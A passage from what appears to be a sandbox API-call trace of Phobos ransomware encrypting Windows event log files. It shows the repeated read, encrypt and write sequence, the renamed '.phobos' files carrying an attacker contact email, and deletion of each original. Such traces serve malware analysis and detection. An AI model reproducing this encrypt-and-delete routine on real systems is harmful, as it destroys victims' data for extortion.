lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0059.836] CryptDestroyKey (hKey=0x10dca50) returned 1 [0059.836] CloseHandle (hObject=0x304) returned 1 [0059.836] CloseHandle (hObject=0x330) returned 1 [0059.837] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0059.839] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.839] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.839] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.839] CloseHandle (hObject=0x330) returned 1 [0059.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0059.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.839] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.839] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.839] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.839] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.840] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dccd0) returned 1 [0059.840] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.840] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.853] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.853] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.854] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc690) returned 1 [0059.854] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.854] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0059.854] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.854] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0059.854] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.854] CloseHandle (hObject=0x330) returned 1 [0059.854] CloseHandle (hObject=0x304) returned 1 [0059.856] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0059.857] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.857] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.857] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.857] CloseHandle (hObject=0x304) returned 1 [0059.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0059.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.858] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.858] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.858] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.858] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.858] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0059.858] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.858] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.871] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.871] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.873] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0059.873] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.873] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0059.873] CryptDestroyKey (hKey=0x10dc910) returned 1 [0059.873] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0059.873] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.873] CloseHandle (hObject=0x304) returned 1 [0059.873] CloseHandle (hObject=0x330) returned 1 [0059.875] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0059.877] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.877] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.877] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.877] CloseHandle (hObject=0x330) returned 1 [0059.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0059.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.877] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.878] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.878] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.878] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.888] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0059.888] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.888] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.897] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.897] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.899] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0059.899] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.899] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0059.899] CryptDestroyKey (hKey=0x10dc910) returned 1 [0059.899] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0059.899] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.899] CloseHandle (hObject=0x330) returned 1 [0059.899] CloseHandle (hObject=0x304) returned 1 [0059.901] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0059.902] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.902] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.910] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.910] CloseHandle (hObject=0x338) returned 1 [0059.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0059.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.910] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.910] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.911] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.911] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.911] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dca50) returned 1 [0059.911] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.911] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.924] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.924] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.925] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc790) returned 1 [0059.925] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.925] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0059.925] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.925] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0059.925] CryptDestroyKey (hKey=0x10dca50) returned 1 [0059.925] CloseHandle (hObject=0x338) returned 1 [0059.925] CloseHandle (hObject=0x300) returned 1 [0059.927] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0059.928] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.928] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.929] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.929] CloseHandle (hObject=0x300) returned 1 [0059.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0059.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.929] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.929] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.929] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.929] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.930] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0059.930] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.930] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.957] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.957] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0059.959] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc690) returned 1 [0059.959] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.959] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0059.959] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.959] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0059.959] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.959] CloseHandle (hObject=0x300) returned 1 [0059.959] CloseHandle (hObject=0x338) returned 1 [0059.961] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0059.962] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0059.962] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.962] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0059.962] CloseHandle (hObject=0x338) returned 1 [0059.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0059.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.963] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.963] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.963] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0059.963] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.970] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc810) returned 1 [0059.970] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0059.970] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0059.998] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0059.998] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.000] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc8d0) returned 1 [0060.000] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.000] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: 